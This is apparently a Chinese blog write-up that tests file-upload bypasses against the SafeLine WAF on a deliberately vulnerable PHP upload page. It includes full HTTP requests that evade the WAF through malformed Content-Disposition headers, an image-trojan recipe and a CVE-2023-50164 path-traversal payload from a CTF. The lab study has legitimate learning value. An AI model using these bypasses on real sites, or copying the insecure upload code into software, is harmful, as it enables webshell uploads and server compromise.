在网安面试的过程中面试官时常会问到如何绕过文件上传和如果防御文件上传,因在面试中支支吾吾遂有感而发作此篇。
环境搭建
本文利用长亭的百川绑定阿里的服务器实现一键安装(Version 3.13.2)
按道理,做到这里基本上部署已经完成了接下来配置一下IP和端口就可以了,忽略调试过程直接说结论,在阿里云上搭建的话,会遇到我们访问显示“嗯… 无法访问此页面"的回显,这个时候应该先试试curl命令的回显
curl -vv http://你的部署服务器:端口
我这里就是 curl -vv http:127.0.0.1:7777
如果到这里,你的curl有回显,但web端无法访问就是因为阿里云服务器的防火墙没有关
关闭防火墙
# systemctl stop firewalld
# systemctl status firewalld
禁用防火墙(系统启动时不启动防火墙服务)
# systemctl disable firewalld
# systemctl is-enabled firewalld
非常感谢长亭雷池WAF社区交流群的师傅耐心指导
构造文件上传点
index.html
设置一个上传界面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>文件上传</title>
</head>
<body>
<form action="../upFile.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
</body>
</html>
upFile.php
<?php
header('Content-type:text/html;charset=utf-8');
if($_FILES['file']['error'] == 0){ // 判断上传是否正确
$fileName = $_FILES['file']['name']; // 获取文件名称
$fileSize = $_FILES['file']['size']; // 获取文件大小
$tmp_name = $_FILES["file"]["tmp_name"]; // 获取上传文件默认临时地址
$fileTypeInfo = ['doc','txt','php','png','gif']; // 定义允许上传文件类型【很多种只列举3种】
$fileType = substr(strrchr($fileName,'.'),1); // 提取文件后缀名
if(!in_array($fileType,$fileTypeInfo)){ // 判断该文件是否为允许上传的类型
echo '上传失败,文件格式不正确';
die();
}
if($fileSize /1024 > 2){ // 规定文件上传大小【文件为Byte/1024 转为 kb】
echo '上传失败,文件太大请上传小于2Kb';
die();
}
date_default_timezone_set('PRC'); // 定义时间戳
if(!file_exists('./common/uploads')){ // 判断是否存在存放上传文件的目录
mkdir('./common/uploads'); // 建立新的目录
}else{
$newFileName = date('Ymd').'_'.$fileName; // 命名新的文件名称
if(move_uploaded_file($tmp_name,'/www/waf/common/uploads/'.$newFileName)){ // 移动文件到指定目录
echo ("上传成功");
}
}
}else{
echo "上传失败".$_FILES['file']['error']; // 显示错误信息
}
?>
在环境搭建中可能会遇到的报错
1.显示没有权限mkdir,这时候可以选择手动创建没有的文件夹./common/upload
2.显示move_uploaded函数没有权限,给uploads文件夹权限
sudo chmod 600 ××× (只有所有者有读和写的权限)
sudo chmod 644 ××× (所有者有读和写的权限,组用户只有读的权限)
sudo chmod 700 ××× (只有所有者有读和写以及执行的权限)
sudo chmod 666 ××× (每个人都有读和写的权限)
sudo chmod 777 ××× (每个人都有读和写以及执行的权限)
如何在服务器上利用PHP起一个Web服务或者其他方式启动Web服务
php -S localhost:端口
味道对了,开搞
WAF绕过
本次所用WAF版本为雷池社区交流版(开源)
版本为Version 3.13.2
环境为PHP
开搞前,我建议把这个情报共享关了
平衡防护模式
先尝试平衡防护模式
利用FUZZ测试可用后缀
FUZZ的字典由下面的这个程序生成
根据自身的配置来生成相应的文件
语言:php
中间件:Apache
第一次运行报了pinrt的错,因为没有加括号看来之前写的时候用的是python2
再报错
AttributeError: module 'urllib' has no attribute 'unquote'
原因是python2和python3的用法不一样,解决方法:
urllib.unquote替换成urllib.parse.unquote
再报错
AttributeError: module 'urllib' has no attribute 'parse'
解决方法,在脚本中加入
from flask import Flask
import urllib
写入文件的时候出问题了,这里也可以理解因为有的时候用的截断比较特殊
直接总结
1.加入编码前提
import sys
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
2.针对294行的write函数进行单独编码即修改为如下
f.write(str.encode('unicode-escape').decode('utf-8'))
字典形成了 ,我们换FUZZ工具,这里用的是BP直接攻击
上传的文件内容就不要写的很敏感了,先试试传个TXT不会被拦的内容如何加入刚刚生成的字典
为确保万无一失,这里设置了线程和时间
发生后发现可以直接上次php后缀文件,查看上次的日志
发现我们开启的只是平衡防护模式,智能平衡模式发现了后缀为php但因为文件内容是无危害的所以放行,可以去雷池的界面查看,发送是被观察到了,但因为无危害所以提示了,但没有拦截,因此换成高强度防护
高强度防护
关闭bp的自动url编码,将下图的选项取消勾选即可
绕过失败
FUZZ测试结果,全军覆没,看来单纯在文件名和后缀上做文章应该是过不去了
前端验证绕过
在文件上传学习的初期常常通过先上传一个正常后缀的文件,后利用bp抓包修改后缀来达到绕过JS代码防护的目的,但在本次的上传点中并没有JS限制,因此修改后缀的方法直接PASS
大小写(黑名单)绕过
该方法主要针对黑名单进行绕过,并且该方法有一个前置条件需要网站服务器是Windows搭建,因为Windows默认大小写不敏感(看网上参考文献好像可以手动开启)
linux主机下:
Windows主机下:
这里只放一个例子,如果想都试一遍的话可以生成一个字典
同类后缀名绕过
该方法其实也是比较老,并且需要配置条件,比如在php中后缀为php3也可以被解析但需要修改中间件(Apache)配置文件
正常情况下php文件
修改后缀为php3
修改Apache配置文件
但因为不知道是不是Apache版本的问题,都没有实现
.htacess配置文件绕过
该方法需要修改Apache配置,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
该方法在白名单的时代,其实也很少能用了,并且注意一个点,我们上传的.htaccess文件不需要前缀否则达不到效果
user.ini文件构造
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中除了PHP_INI_SYSTEM以外的模式 INI 设置都可被识别。
这里需要借助php配置项中的两个核心配置:auto_append_file、auto_prepend_file
.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
创建一个.uers.ini文件和恶意的test.gif文件(本次使用的是phpinfo函数)
访问我们的文件上传点即index.php相当于在index.php文件里插入了包含语句require('test.gif'),进行了文件包含。
但在雷池防护中根本无法上传.uers.ini文件
双写绕过
这是在靶场中遇到的一些过滤,比如过滤缀名php替换为空,这时可以利用pphphp来进行绕过
第一个php会被替换为空,此时前后再次拼接形成php
该绕过方法应该也只限于靶场了
后缀加字符绕过-::$DATA
该方法利用的是Windows的特性,因此对于linux主机没有效果
在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"
本次雷池搭建环境为linux因此无法绕过
00截断绕过
这里还有分为0x00h和%00
这两个不同的写法都代表着chr(0),即空字符,只不过使用的位置不同,0x00代表16进制的空字符00,需要在HEX中改为00,进行截断即利用bp中的hex中进行替换
而%00是URL解码之前的字符,它被解码成16进制ASCII码之后实际上也是0x00,所以它们最终都对应的是空字符,这里%00可以用在URL中如xx.php?filename=test.php%00.txt,也可以直接插在Burp包中的路径中,如path=shell.jsp%00.txt
图片木马绕过
一般文件内容验证使用getimagesize函数检测,会判断文件是否是一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
图片马绕过就是将一句话木马插入到一个[合法]的图片文件当中,然后用webshell管理工具进行远程连接。
图片马的制作
copy 1.jpg /b + one.php /a 11.php
查看生成结果
但在高强度模式下,无法进行php后缀的上传导致计划失败
条件竞争绕过
条件竞争漏洞是一种服务器端的漏洞,条件竞争绕过需要上传文件检测的代码存在逻辑错误即文件落地后再进行检测删除,由于服务器端在处理不同用户的请求时是并发进行的,导致绕过的发生
条件竞争的过程中会有以下三种情况:
1.访问时间点在上传成功之前,没有此文件。
2.访问时间点在刚上传成功但还没有进行判断,该文件存在。
3.访问时间点在判断之后,文件被删除,没有此文件。`
代码分析
$is_upload = false;
$msg = null; //判断文件上传操作
if(isset($_POST['submit'])){ //判断是否接收到这个文件
$ext_arr = array('jpg','png','gif'); //声明一个数组,数组里面有3条数据,为:'jpg','png','gif'
$file_name = $_FILES['upload_file']['name']; //获取图片的名字
$temp_file = $_FILES['upload_file']['tmp_name']; //获取图片的临时存储路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); //通过文件名截取图片后缀
$upload_file = UPLOAD_PATH . '/' . $file_name; //构造图片的上传路径,这里暂时重构图片后缀名。
if(move_uploaded_file($temp_file, $upload_file)){ //这里对文件进行了转存
if(in_array($file_ext,$ext_arr)){ //这里使用截取到的后缀名和数组里面的后缀名进行对比
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //如果存在,就对文件名进行重构
rename($upload_file, $img_path); //把上面的文件名进行重命名
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!"; //否则返回"只允许上传.jpg|.png|.gif类型文件!"数据。
unlink($upload_file);// 并删除这个文件
}
}else{
$msg = '上传出错!';
}
}
审计代码中发现在判断条件中,先进行了move_uploaded_file函数再对于文件进行了检测,因此存在条件竞争绕过的可能
但在雷池WAF中我们文件还没落地就已经被拦住了,因此不可行
content-type绕过
该方法在目前白名单的时代中也几乎不见了,我们可以看看它的写法
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
仅仅对于上传文件的type进行检测,无法绕过雷池WAF
利用文件包含漏洞
根据绕过方式的名字可以得知至少需要攻击者能够找到文件包含漏洞的位置且能够被攻击者任意构造才能够进行利用,两个条件如下
(1 ) include等函数通过动态执行变量的方式引入需要包含的文件
(2)用户能控制该动态变量
绕过成功
修改Content-Disposition绕过
POST /upFile.php HTTP/1.1
Host: 39.106.145.5:7777
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2477136673360361791890184650
Content-Length: 233
Origin: http://39.106.145.5:7777
Connection: close
Referer: http://39.106.145.5:7777/
Cookie: sl-session=OAWDFEAwv2UukbVHDXo51w==
Upgrade-Insecure-Requests: 1
-----------------------------2477136673360361791890184650
Content-Disposition: form-data;name="file"; filename=="one.php"
Content-Type: application/octet-stream
here
-----------------------------2477136673360361791890184650--
PHP解析特性绕过
通过提交多个上传请求,利用waf和php解析不一致绕过。
POST /upFile.php HTTP/1.1
Host: 39.106.145.5:7777
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2477136673360361791890184650
Content-Length: 395
Origin: http://39.106.145.5:7777
Connection: close
Referer: http://39.106.145.5:7777/
Cookie: sl-session=OAWDFEAwv2UukbVHDXo51w==
Upgrade-Insecure-Requests: 1
-----------------------------2477136673360361791890184650
Content-Disposition: form-data;name="file"; filename="one.php"
Content-Type: application/octet-stream
-----------------------------2477136673360361791890184650
Content-Disposition: form-data;name="file"; filename="one.png"
Content-Type: application/octet-stream
here
-----------------------------2477136673360361791890184650--
调换顺序后被WAF检测到
那么可以推测服务器的接收只看第一个请求信息,但WAF检测的时候会看最后的内容,如果我们把请求头写道内容中会被检测出来达到绕过效果吗,测试后发现检测不通过
并且两个请求信息不能间隔超过一个回车否则也是失败
filename绕过
在filename后面加入空格
POST /upFile.php HTTP/1.1
Host: 39.106.145.5:7777
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2477136673360361791890184650
Content-Length: 233
Origin: http://39.106.145.5:7777
Connection: close
Referer: http://39.106.145.5:7777/
Cookie: sl-session=OAWDFEAwv2UukbVHDXo51w==
Upgrade-Insecure-Requests: 1
-----------------------------2477136673360361791890184650
Content-Disposition: form-data; name="file"; filename= "one.php"
Content-Type: application/octet-stream
123
-----------------------------2477136673360361791890184650--
CVE-2023-50164
通过一道RWCTF中的CTF题目来学习该文件漏洞上传漏洞,参考文章如下
了漏洞的原理在于Map的储存结构,在Map结构中大写会进行优先处理,注意大写当时被卡很久
{Upload=File{name='Upload'},
UploadFileName=File{name='UploadFileName'},
UploadContentType=File{name='UploadContentType'}}
Map结构中大写会进行优先处理,所以此时我们再次传入的小写的可以覆盖大写的内容,我们还
可以控制参数的顺序。所以此时我们可以而通过数据的覆盖,来实现目录的绕过。
Be-More-Elegant
给了一个上传文件的功能,上传后会给绝对路径,目前是任意文件都可以上传,但jsp和jspx文件的访问后回显500,即使只是123都会被屏蔽
代码审计,做了文件流处理
尝试利用大小写绕过,但内容无法被解析全部被打印出来
利用 CVE-2023-50164
注意该CVE要根据代码进行相应变化,特别是标出的两个值,并且fileUpload的F要大写
构造payload
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21242332512857643478691364422
Content-Length: 408
Origin: http://47.99.57.31:8080
Connection: close
Referer: http://47.99.57.31:8080/elegant
Cookie: JSESSIONID=C0A792880BA03E5B98EE28FE1000AADA
Upgrade-Insecure-Requests: 1
-----------------------------21242332512857643478691364422
Content-Disposition: form-data; name="FileUpload"; filename="1.jsp"
Content-Type: text/plain
123
-----------------------------21242332512857643478691364422
Content-Disposition: form-data; name="fileUploadFileName";
Content-Type: text/plain
../../../views/header_icon/258.jsp
-----------------------------21242332512857643478691364422--
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-